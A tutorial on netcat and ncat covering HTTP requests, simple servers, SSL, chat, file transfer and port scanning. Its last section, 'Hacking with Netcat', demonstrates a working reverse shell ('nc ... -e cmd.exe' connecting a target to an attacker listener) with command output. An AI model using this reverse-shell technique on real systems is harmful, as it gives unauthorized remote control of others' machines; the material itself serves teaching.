How to Use The Netcat (nc) Command: An In-Depth Tutorial

Netcat is one of the most versatile networking tools for system administrators – it is called the Swiss army knife of Networking.

This tool can be used for creating any connections over TCP or UDP protocol which makes it an excellent debugging tool. It helps the user investigate connections directly by connecting to them.

Netcat can also perform port scanning, file transfer, and sometimes it might be used by the hackers or penetration testers for creating a backdoor into a system.

In this tutorial, we’ll be covering the Netcat utility or nc command in detail.

Netcat was developed back in 1995. Despite its usefulness and popularity, it was not maintained. Many other versions of it have been developed since then. One of the most prominent among them is called Ncat, developed by the Nmap project.

Ncat expands on the features of the traditional Netcat package. We’ll also touch on some of the functionalities of this tool.

However Ncat lacks the port scanning feature that Netcat has. This is because Nmap can already be has much more advanced port scanning capabilities.

I have installed Ncat and will be using it this tutorial, but I’ll refer to the software by both Ncat or Netcat.

Installing traditional Netcat & Ncat

Netcat is available for Linux, Windows, and macOS.

If you’re running a Linux machine, chances are Netcat is already installed. However, you do need to install Netcat in other operating systems.

Ncat is not available on any of the operating systems by default, so we’ll have to install it no matter what OS we’re using.

Installing Ncat on Linux

If you’re running Debian or Ubuntu-based systems, you can install it using the apt utility. To install ncat run:

sudo apt-get install ncat

On Redhat or CentOS-based distros, you can use yum. To install ncat run:

sudo yum install ncat

Notice: If you install Ncat then the nc or netcat command will use Ncat by default.

Installing Ncat will allow all the functionalities of the traditional Netcat and much more.

Installing Ncat on Windows

You can install Ncat on Windows by installing Nmap – and it will be installed alongside it.

To install Nmap you’ll use their self-installer, which you can find here https://nmap.org/download.html. Find and download the latest stable self-installer, which looks something like this nmap--setup.exe, and then run it after it’s downloaded.

Installing Ncat on MAC OS X

You should be able to get Ncat installed alongside Nmap. To install Nmap on Mac OS X you can check the installation instructions on Nmap.org.

You can also find a very short section with instructions on how to install Nmap on Mac OS X in our Nmap tutorial, should you have issues with the instructions on their site.

Installing Ncat on Android with Termux

Assuming that you already have Termux installed on your Android, you can install Ncat by installing Nmap.

To do this update your package index:

apt update

Then install Nmap by running:

pkg install nmap

Basics of connections with Netcat

Before we learn how to use the tool, let’s learn some basics of how it works.

Netcat can produce different types of connections based on how you use it. Traditional nc command will only work over the TCP and UDP protocol. However, the Ncat command supports SSL, IPv6, etc.

You can think of Netcat to be performing the tasks of both the client and the server in a Client-Server based connection model. You can read more about this model in our tutorial, Basics of HTTP Requests with cURL, under the Basics of HTTP Requests & Responses section.

In short, you can create a server listening in any port and a client connecting to any port with Netcat.

Let’s see how to create a client and a server with Netcat.

Creating a client with Netcat

If you’re reading this tutorial, then most likely you’re using some browser. Your browser work as a client to get the page from our nooblinux.com server.

You can create a client by connecting to any host and port you like with Netcat.

Netcat has a basic syntax of:

nc [options] host port

You can use the -n flag to enter numeric-only or the IP address of the host; which will bypass the DNS name resolution:

nc -n [IP address] port

Type in the hostname or IP address and Port with the nc command to create a client:

nc -v example.com 80
Output
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.

Note: I’m using Ncat throughout this article. If you’re using Netcat, your output for the above command may look like this:

Connection to example.com 80 port [tcp/http] succeeded!

Here, we created a client with Ncat connecting to the example.com server on port 80.

Once you run this command you’ll see nothing is happening after this.

This just means that you’ve connected with the server.

It might feel unusual because most of us are used to a prompt symbol that indicates the system’s readiness to perform the next command, but this is just how it works with Netcat/Ncat.

Now you can request the server and then get a response.

Let’s try to send something to the server.

Type in some text after the output texts shown above and hit Enter twice (this is because some requests require multiple lines, so the first Enter is a newline, and the second one it sends the request). It can be any text. I’ll just write hi.

Let’s see what response we get from the server:

Warning: inverse host lookup failed for 93.184.216.34: Unknown host
example.com [93.184.216.34] 80 (http) open
hi

HTTP/1.0 501 Not Implemented 
Content-Type: text/html 
Content-Length: 357 
Connection: close 
Date: Sat, 10 Jul 2021 20:07:39 GMT 
Server: ECSF (dcb/7F60) 

<?xml version="1.0" encoding="iso-8859-1"?> 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head> 
<title>501 - Not Implemented</title> 
</head> 
<body> 
<h1>501 - Not Implemented</h1> 
</body> 
</html> 

We sent hi to the server and then the server sent us the response that you can see in the output. The server sent us the Status code 501 Not Implemented which means the server does not support the functionality to fulfill our request.

That’s a given. Let’s request something that a server understands.

HTTP Requests with Netcat

If you know anything about HTTP requests then you should know that your browser performs a GET request to show you a webpage. After you have connected to the server, your browser sends special messages to the server with the request and the server responds accordingly.

cURL is a very good utility that can perform any HTTP requests (we also have a tutorial on cURL if you’re interested Basics of HTTP Requests with cURL: An In-Depth Tutorial).

Let’s find out what it sends to get a response back from the server.

Run the curl command in a verbose mode (-v) and set the -I flag or --head option to only see the Request and Response Headers:

curl -v -I example.com
Output
*   Trying 93.184.216.34:80...
* TCP_NODELAY set
* Connected to example.com (93.184.216.34) port 80 (#0)

> HEAD / HTTP/1.1
> Host: example.com
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Accept-Ranges: bytes
Accept-Ranges: bytes
< Age: 443586
Age: 443586
< Cache-Control: max-age=604800
Cache-Control: max-age=604800
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
< Date: Sat, 10 Jul 2021 20:16:51 GMT
Date: Sat, 10 Jul 2021 20:16:51 GMT
< Etag: "3147526947"
Etag: "3147526947"
< Expires: Sat, 17 Jul 2021 20:16:51 GMT
Expires: Sat, 17 Jul 2021 20:16:51 GMT
< Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
< Server: ECS (dcb/7F38)
Server: ECS (dcb/7F38)
< X-Cache: HIT
X-Cache: HIT
< Content-Length: 1256
Content-Length: 1256

<
* Connection #0 to host example.com left intact

As you can see in the output, lines 1 to 3 are the Connection part. The next section, lines 5 to 9,  is the request that curl, which in this case is our client, sent to the server. The later section is the Response Header that the server sent back.

Now, when you’re running Netcat, the lines 1 to 3 portion is being performed at first. Then you can talk to the server. Let’s generate the same response using Netcat.

To get the response from the server, we have to craft the request message first. The head request portion of the output from the curl command is:

HEAD Request
HEAD / HTTP/1.1
Host: example.com
User-Agent: curl/7.74.0
Accept: */*

Now let’s connect Netcat to example.com again.

nc -v example.com 80

Now copy and paste the above portion (the GET Request), after the the Ncat: Connected to 93.184.216.34:80. output, in the Netcat terminal and hit Enter twice.

Request (lines 3-6), along with output (lines 8-19)
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.
HEAD / HTTP/1.1
Host: example.com
User-Agent: curl/7.74.0
Accept: */*

HTTP/1.1 200 OK
Age: 594540
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Sat, 10 Jul 2021 22:33:44 GMT
Etag: "3147526947+ident"
Expires: Sat, 17 Jul 2021 22:33:44 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7EA3)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256

This is great! You’ve just got the same Request and Response Headers that you got using cURL as your client.

Important: At first glance this response may not look the same as with cURL, because the cURL response has duplicate lines – if you look closely, the responses are near identical.

Let’s try OPTIONS request instead of HEAD request. This time we’ll just type the request in, since it’s shorter.

First we’ll connect to the example.com server.

nc -v example.com 80

We’ll get the usual output:

Output
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.

After which we’ll just write the OPTIONS request OPTIONS / HTTP/1.0 and press Enter twice:

Request (line 3) and Output after that
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 93.184.216.34:80.
OPTIONS / HTTP/1.0

HTTP/1.0 200 OK
Allow: OPTIONS, GET, HEAD, POST
Date: Sun, 11 Jul 2021 11:34:16 GMT
Server: ECS (dcb/7F14)
Content-Length: 0
Connection: close

Using Printf and Piping with Netcat

Important Note: Sometimes you might get some error while typing the requests inside Netcat. That is because HTTP requests require certain formatting with Line Endings.

There also may be other reasons that your requests don’t work, as such it’s good to know that you have an alternative method of making requests and sending them through Netcat.

You can also try any request piping the output of printf command into Netcat.

To do this, run the following command outside of Netcat:

printf "HEAD / HTTP/1.1\r\nUser-Agent: curl/7.74.0\r\nHost: example.com\r\nAccept: */*\r\n\r\n" | nc example.com 80

In this command, \r create the new lines for the HTTP request.

These are called carriage return (cr) and line feed (lf). These names are derived from the age of typewriters.

You basically sent the same HEAD request as before, but wrote it on one line.

HEAD / HTTP/1.1
Host: example.com
User-Agent: curl/7.74.0
Accept: */*

Becomes:

HEAD / HTTP/1.1\r\nUser-Agent: curl/7.74.0\r\nHost: example.com\r\nAccept: */*\r\n\r\n

After that, we use the printf command (print formatted), which properly formats our the request, so then we pass it on to Netcat through piping (the | symbol).

Creating a Server with Netcat

In previous sections, we showed you how to create a client with Netcat.

You essentially learned what a browser does to request a webpage from the server.

Now we’ll show you how the server responds with the help of Netcat.

Netcat can start listening on any port you specify. This is what gives it the ability to create a server on the fly.

Let’s learn how to listen on a port with netcat before we get started.

Listening on a port with Netcat

You can see the available options Netcat offers by simply typing in nc -h. By default, netcat creates TCP connections. You can create UDP connections using the -u flag. However, we’ll use the default TCP connection for now.

The -l flag can be used for listening and the -p flag is for specifying the port to listen on.

Let’s look at an example. We’ll make netcat listen on port 4000 by combining the two flags together:

nc -lp 4000

This command will make netcat start listening on port 4000. But you’ll only see the cursor blinking.

You can use the keyboard interrupt CTRL + C to stop the command.

Let’s turn on the verbose output by combining the -v flag:

nc -vlp 4000
Output
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000

Now you will see netcat telling you that it’s listening on port 4000. This is how you start listening on any port.

Creating a simple web server with Netcat

Now that you know how to listen on ports with Netcat, let’s try to create a simple webserver with netcat. You’ll learn how a server responds to a client in this section.

First, let’s start a Netcat listening on port 5000 in verbose mode:

nc -vlp 5000
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::5000
Ncat: Listening on 0.0.0.0:5000

Now fire up your browser and try connecting on this port. Type localhost:5000/ in your browser. Hit enter and take a look at your terminal window running Netcat. You’ll see the browser request directly showing up in your Netcat terminal:

Output
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:46830.
GET / HTTP/1.1
Host: localhost:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Side note: You can tell from the User-Agent value, which is Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8. You can also use a tool that analyzes user agent strings such as this https://developers.whatismybrowser.com/useragents/parse/, to find out. Just paste in the user agent string in the input field and click Parse this user agent.

Interesting, isn’t it? Can you guess which browser I’m using? It’s Firefox 89 on Ubuntu Linux.

Now that the client (Firefox) has requested the server (netcat) you can do more cool things.

You can start typing in the response Firefox will get.

However, you need to speak the language of the browser! Otherwise, you won’t see the output.

Remember the response Header we got from example.com in the previous section? Let’s take a look:

HTTP/1.1 200 OK
Age: 594540
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Sat, 10 Jul 2021 22:33:44 GMT
Etag: "3147526947+ident"
Expires: Sat, 17 Jul 2021 22:33:44 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7EA3)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256

As always, the status code is the first line of the response. We do not require all of the responses, however.

We’ll just use the Status code, Content-Type and Server, which I’ve highlighted.

With that let’s try to construct our server message:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux

After typing this in hit enter twice and create a new empty line.

Next, you’ll type in the HTML page yourself and see it showing up on the browser in real-time! We’ll create a title for our page in real-time. If you know the HTML you can do it yourself. You can also copy this in your terminal.

The message should look something like this:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux

<!doctype html>
<title>NoobLinux</title>

Hit enter and you’ll see the browser tab change from localhost:5000 to NoobLinux. Here’s a quick video of me doing that, in case this is a bit confusing:

Cool! Now let’s do more. Create a heading with <h1></h1> tags.

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux

<!doctype html>
<title>NoobLinux</title>
<h1>Can you see me?</h1>

Hit enter and voila! You’ll see the heading appearing in the browser in real-time.

Added “<h1>Can you see me?</h1>”

You can keep playing like this and the browser will show output according to your messages.

Lastly, we’ll do a final example where we add a photo:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: nooblinux

<!doctype html>
<title> NoobLinux </title>
<h1>Can you see me?</h1>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/Image_created_with_a_mobile_phone.png/1280px-Image_created_with_a_mobile_phone.png">
Added an image from Wikimedia Commons in the HTML.

Communicating over SSL with Ncat

You can receive as well as create any connections over TCP and UDP protocols with Netcat. The traditional Netcat does not support SSL encryption and HTTPS. Ncat, however, comes with SSL support.

We can activate it by using the --ssl flag. If you haven’t installed Ncat, now would be a good time.

Now we’ll play with sending a HEAD request to github.com and see how to activate SSL support, and what happens when we don’t.

First we’ll send a HEAD request like we did in the beginning of the tutorial, to the github.com server, on port 80.

We’ll make the request by sending it from print by using printf and piping with Netcat (remember when we discussed this earlier).

printf 'HEAD / HTTP/1.1\r\nHost: github.com\r\n\r\n' | nc -v github.com 80
Output
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 140.82.121.4:80.
HTTP/1.1 301 Moved Permanently
Content-Length: 0
Location: https://github.com/

You can see that the github.com server gives us the status code 301, which means a redirect should be done.

Indeed, the github server accepts connection only with HTTPS or SSL encryption with the HTTP requests.

Let’s try using the port 443 as we know it is for HTTPS.

printf 'HEAD / HTTP/1.1\r\nHost: github.com\r\n\r\n' | nc -v github.com 443
Output
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 140.82.121.4:443.
Ncat: 37 bytes sent, 0 bytes received in 0.26 seconds.

It also fails this time. This is because ncat is sending requests without SSL encryption. We have to enable SSL encryption.

Type the following command using the --ssl flag of the Ncat command:

printf 'HEAD / HTTP/1.1\r\nHost: github.com\r\n\r\n' | nc -v --ssl github.com 443
Output
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: SSL connection to 140.82.121.4:443. GitHub, Inc.
Ncat: SHA-1 fingerprint: 8463 B3A9 2912 CCFD 1D31 4705 989B EC13 9937 D0D7
HTTP/1.1 200 OK
Server: GitHub.com
Date: Mon, 12 Jul 2021 00:38:44 GMT
Content-Type: text/html; charset=utf-8
Vary: X-PJAX, Accept-Language, Accept-Encoding, Accept, X-Requested-With
permissions-policy: interest-cohort=()
ETag: W/"94946c032884213d15c51f6ed29ed03e"
Cache-Control: max-age=0, private, must-revalidate
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Frame-Options: deny
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin
Expect-CT: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"
Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events translator.github.com wss://alive.github.com github.githubassets.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com render-temp.githubusercontent.com viewscreen.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com secured-user-images.githubusercontent.com/ *.githubusercontent.com customer-stories-feed.github.com spotlights-feed.github.com; manifest-src 'self'; media-src github.githubassets.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/socket-worker-3f088aa2.js gist.github.com/socket-worker-3f088aa2.js
Set-Cookie: _gh_sess=tYm0qZ0oXFzUG8Dc2YucTOhIJuxeFGVTx4tGW%2FZcYx4QI9MrYoSWsuVvGqMCZh0YG7eUdsDe6231%2FnGMLJsxNjhkF3mNyblLnF8mPQX%2BVltD6E98n0Tih9DUf2I49lYyOCjp6UvUewn1NAYW%2FGOKFUn8%2F2dUvHBJQ%2F3UKEE%2F9w97caNikSZDtZxnaF91O8H0AV%2FkKuUVwJASOsxJviza87B13bE9eLfzMej9ndm2Ywb5yfTUEYccO3sPjRHp7UkSWnRFkt5LHuAEMg81QCCgmA%3D%3D--cVgPJ6RLH%2FItXYgz--Rk9K72INktZw6RibFZJoxA%3D%3D; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: _octo=GH1.1.1661960893.1626050330; Path=/; Domain=github.com; Expires=Tue, 12 Jul 2022 00:38:50 GMT; Secure; SameSite=Lax
Set-Cookie: logged_in=no; Path=/; Domain=github.com; Expires=Tue, 12 Jul 2022 00:38:50 GMT; HttpOnly; Secure; SameSite=Lax
Accept-Ranges: bytes
X-GitHub-Request-Id: 041C:0BCA:7B79525:7FD6376:60EB8F1A

Ncat: 37 bytes sent, 2595 bytes received in 0.26 seconds.

As you can see, now the output is showing correctly. We can also see the cookie and some encryption information as well in the header.

Sometimes you’ll require a certificate to connect to the host. You can create an SSL Certificate and SSL key with --ssl-cert and --ssl-key respectively. Find more on this on the Ncat user manual’s SSL page.

Creating a simple chat using Netcat

Now that you know how to create a client and a server with Netcat, let’s build both and create a chatting functionality between them.

You can do this over remote network machines or within your local network. We’ll just need two computers that can run Netcat (it can be a computer, virtual machine or phone with a terminal and netcat installed)

What we’ll do: On the first machine (doesn’t matter which) we’ll just run the command to create a server and listen on a port, in our case 4000. On the second machine we’ll run the command to connect to the first machine’s IP and port, thereby establishing the connection. From there we can just write messages from one machine and they’ll instantly appear on the other.

Let’s get started.

Within your local network

For our example, I’ll create a chat with a VMware virtual machine running Ubuntu 20.04.

You can try out the same thing, or you can use machines connected to your WiFi – such as if you have multiple computers that can have Netcat installed on them, or an Android phone running Termux (installed from f-droid.org on which you can install Netcat).

Most likely there are options for iOS, and other operating systems as well, however I haven’t tried them myself.

Make sure both the machines have Netcat installed.

First, figure out the private IP address (IPv4) of the computer where we’ll run the server on, because we’ll need to know it so we can connect to it from the second computer.

Finding your private IP address

Your private IP address is different than your public IP address [which is the IP address most of us are familiar with].

A private IP address is an IP address used within a private network, such as your home network (unlike the public IP address which you would use to access the internet).

Typically, a private IP address is assigned to each device connected to your local network by your router. Say you have multiple computers and phones, a printer and a smart TV – all of them are assigned a private IP address.

IP ranges used by private networks are, so your private IP address should be from one of those ranges.

  • 10.0.0.0/8
  • 172.16.0.0/12
  • 192.168.0.0/16

On Linux, you can determine your private IP address using command such as ip addr, ifconfig or hostname -I (uppercase I).

Determine your private IP address using ip addr or ifconfig

We’ll use ip addr since it’s meant to be a replacement for ifconfig, and ifconfig may not come pre-installed on recent Linux systems.

When you run it, the system will display all your network interfaces.

ip addr
Output
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:12:e9:70 brd ff:ff:ff:ff:ff:ff
    altname enp2s1
    inet 192.168.145.131/24 brd 192.168.145.255 scope global dynamic noprefixroute ens33
       valid_lft 992sec preferred_lft 992sec
    inet6 fe80::c567:c033:897f:58ea/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

What we’re interested in is what comes after inet in the details for the network interface that we’re using.

Your output may display more network interfaces, such as eth0, wlan0 and so on.

To determine the network interface that you’re using you can use the route command:

route
Output
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         _gateway        0.0.0.0         UG    100    0        0 ens33
link-local      0.0.0.0         255.255.0.0     U     1000   0        0 ens33
192.168.145.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33

The Iface column on the same line with default in the Destination column should tell you the interface that you are using (the highlighted line).

As we can see, the interface I’m using is ens33, and if we look up to the output from where I ran ip addr, under ens33 and after inet we see 192.168.145.131.

So my private IP address is 192.168.145.131.

Determine your private IP address using hostname -I

You can also easily display your private IP address using hostname -I (uppercase I), however you will be shown multiple IPs if you have multiple configured interfaces.

For example, when I run it on the same machine as before, I get a quick and clean private IP address in the output.

hostname -I
Output Machine 1
192.168.145.131

However, when I run it on a different machine:

Output Machine 2
10.0.2.15 192.168.33.10

In this case, the second IP (192.168.33.10) is the one I can connect to on my local network via Netcat.

I usually use the ip addr method.

We’ll refer to the computers as:

  1. Machine 1 – the computer whose private IP address we’ve determined, where we will create the server and listen on port 4000
  2. Machine 2 – the computer that we’ll use to connect to Machine 1

Now, assuming that you’ve found your private IP address for Machine 1, create a server on it, listening on any port (I’ll use 4000). To do this run:

nc -vlp 4000
Output Machine 1 (Server)
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000

Now Netcat will be listening on Machine 1 which has the IP address of 192.168.145.131. This is our server.

Now let’s connect to this server from another device within our local network (which is Machine 2.

We’ll use the server’s IP address and port to connect to it. Run the following command, replacing the IP with your machine’s private IP address:

nc -v 192.168.145.131 4000
OutputMachine 2 (Client)
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.

As we can see our client has connected to the server. If we take a look at our server we’ll instantly see the machine connected to it:

Output Machine 1 (Server)
Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:1049.

Now the client-server connection has been established. You can type in anything in any of the machines and you’ll see the message instantly on the other machine. Here are the commands and outputs of each machine:

Command + Output Machine 1 (Server)
n -vlp 4000

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000
Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:1049.
Hi. Can you see this?
Yes, I can. Hi!
So what are you thinking about?
Oh, you know, tutorials & stuff.
Command + Output Machine 2 (Client)
nc -v 192.168.145.131 4000

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.
Hi. Can you see this?
Yes, I can. Hi!
So what are you thinking about?
Oh, you know, tutorials & stuff.

[Video] Demo of creating a simple chat using Netcat

Here’s a very short video demonstrating this. On the left there’s what we call Machine 1, which is an Ubuntu 20.04 virtual machine, and on the left I’m using Cmder on Windows 10.

Within a single computer

If you do not have access to another computer in your local network, you can also try this on your computer with two terminals.

Open two terminals and just follow the same procedure with the nc command.

Create a server and a client and you can send text from one to the other terminal and communicate between them in real-time.

Transferring files between two hosts using Netcat

You’ve already seen how Netcat can send texts from one host to another using the client-server setup. Now let’s learn to send some more useful things rather than just texts.

You can send any file over netcat. There are two ways to do this:

  1. Serve the file on the Netcat server
  2. Push the file from the client side

We’ll cover both.

Serve the file from a server

Let’s start with how to serve the file using the Netcat server.

In this method, the server has to be created on the machine that contains the file.

Pipe the file into the server:

Server Command
cat nooblinux_assets.zip | nc -vlp 4000
Server Output
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000

On the other machine (also known as the client), type in the following to connect to the server and save the file, replacing the IP with your machine’s private IP:

Client Command
nc -v 192.168.145.131 4000 > nooblinux_assets.zip

You will see the typical output.

Client Output
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.

And on the first machine (the server) you will see the typical output as we’ve seen before, when the other machine connects to it:

Server Output
Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:1049.

Your file will transfer. But you might notice a problem with this method immediately – there’s no indication if the file completed transferring or not. The connection stays open.

This brings us to the second method.

Push the file to the server from the client

Now we’ll just listen on a port on the server and save whatever comes to it instead of serving the file.

This means the machine with the file will be the client and it will send the file to the server.

Let’s create a server and save the incoming data:

nc -vlp 4000 > whatever_may_come.zip
Output Server
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000

Now let’s connect the client to the server and push the file:

nc -v 192.168.145.131 4000 < nooblinux_assets.zip
Output Client
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.
Ncat: 245394 bytes sent, 0 bytes received in 7.04 seconds.

This method works much better than the previous. It closes the connection as soon as the file is transferred.

So, you know that the file was successfully transferred and don’t have to worry about unfinished file transfer.

Checking if the file transfer was successful

You can check if the file you downloaded was finished transferring properly or if it is not the same file you wanted to download.

Checking the checksum of the file will reveal if the files are the same or not.

A simple way to do this is using the md5sum tool which uses the md5 hash algorithm.

On Windows you have md5sum.exe and you can run it like in the following examples, but only replace md5sum with md5sum.exe.

In my case,run the commands on each of the files (the original one and the received one) so you can check if the resulting checksums are identical.

md5sum pushed file
md5sum nooblinux_assets.zip
Output
3ba304b2acf42467b68ee9df05e5883e *nooblinux_assets.zip
md5sum received file
md5sum whatever.zip
Output
3ba304b2acf42467b68ee9df05e5883e  whatever.zip

If the hashes match up then they are the same file. This is a very simple yet quite effective method to check if the file transferred successfully.

That’s why you’ll see many websites provide the checksums of their files so you can crosscheck if you downloaded the same file or not. This is very important since hackers can alter your download with a malicious file.

Scanning ports with traditional Netcat

The traditional Netcat gives you the option to perform basic port scanning.

As we mentioned in the beginning of this tutorial, Ncat lacks this feature, since it’s “big brother”, Nmap, already has advanced port scanning capabilities.

If you’d like to learn more about it, you can check our comprehensive tutorial on how to use Nmap.

On Netcat, you can use the -z flag that doesn’t include the input/output and only tries to connect to the ports and finds out which ones are open.

Let’s scan a single port:

netcat -vz nooblinux.com 443
Output
Connection to nooblinux.com 443 port [tcp/https] succeeded!

To scan a range of ports, use the following syntax. The “-w” flag tells it to wait for the seconds specified after it. In this case, it’ll wait 1 second for each request –

netcat -vzw1 scanme.nmap.org 20-25
Output
netcat: connect to scanme.nmap.org port 20 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 20 (tcp) failed: Connection refused
netcat: connect to scanme.nmap.org port 21 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 21 (tcp) failed: Connection refused
Connection to scanme.nmap.org 22 port [tcp/ssh] succeeded!
netcat: connect to scanme.nmap.org port 23 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 23 (tcp) failed: Connection refused
netcat: connect to scanme.nmap.org port 24 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 24 (tcp) failed: Connection refused
netcat: connect to scanme.nmap.org port 25 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 25 (tcp) failed: Connection refused

As you can see from the output, port 22 (ssh) is open.

You can also scan UDP ports using the -u flag:

nc -vzuw1 scanme.nmap.org 20-25

Hacking with Netcat

Hackers and penetration testers often use Netcat to get shell access in a remote system.

If you have a machine with remote code execution capabilities, you can use Netcat to create a reverse shell or a backdoor in that machine.

This allows you to execute commands as a user on that machine.

There are two ways to do this. You can either:

  1. create a reverse shell
  2. create a bind shell

Reverse Shell

In a reverse shell, the attack machine listens on a specific port and the target machine initiates a shell and connects to the attack machine.

Bind Shell

In the bind shell, the target machine initiates the shell and listens to a port. The attacker machine connects to the target machine and gets shell access.

Notice: We’ll be using the -e flag on Ncat to execute after connection. If you see the -e flag is not supported in the version of Netcat you’re using, install another one.

Creating a Reverse Shell using Netcat

To create a reverse shell with Netcat, start a server with any port listening on the attacking machine. You’ll then connect to it from the target machine. Then you’ll be able to execute commands on the target machine from the attacking machine.

I’ll use a Windows 10 machine and an Ubuntu 20.04 machine and try it both ways. The difference will be that when we execute remote code on Windows, we’ll use Windows Command Prompt cmd.exe instead of the Bourne shell sh.

Let’s see how that works.

Attacker: Linux / Target: Windows

Run the following command on the attacking machine (you can use another port, I’ll use 4000):

nc -vlp 4000
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000

Now connect from the target machine with the shell access using the -e flag:

nc -v 192.168.145.131 4000 -e cmd.exe
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.

On the attacking machine, you’ll see the connection message:

Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:19095.
Microsoft Windows [Version 10.0.19042.1083]
(c) Microsoft Corporation. All rights reserved.

D:\Downloads>

I ran the command from the D:\Downloads>.

Now you can type in some commands in the attack machine, and you’ll get replies from the target machine shell:

D:\Downloads>whoami
whoami
desktop-0i9jobe\shway

Here, I typed in the whoami command to see the current user (whoami also works on Windows 10). As you can see, it’s desktop-0i9jobe\shway. That’s my desktop name and username.

Let’s execute more commands:

D:\Downloads>ls
nooblinux_assets.zip
some_wallpaper.png
an_emoji.png
verification.jpeg
rufus.exe
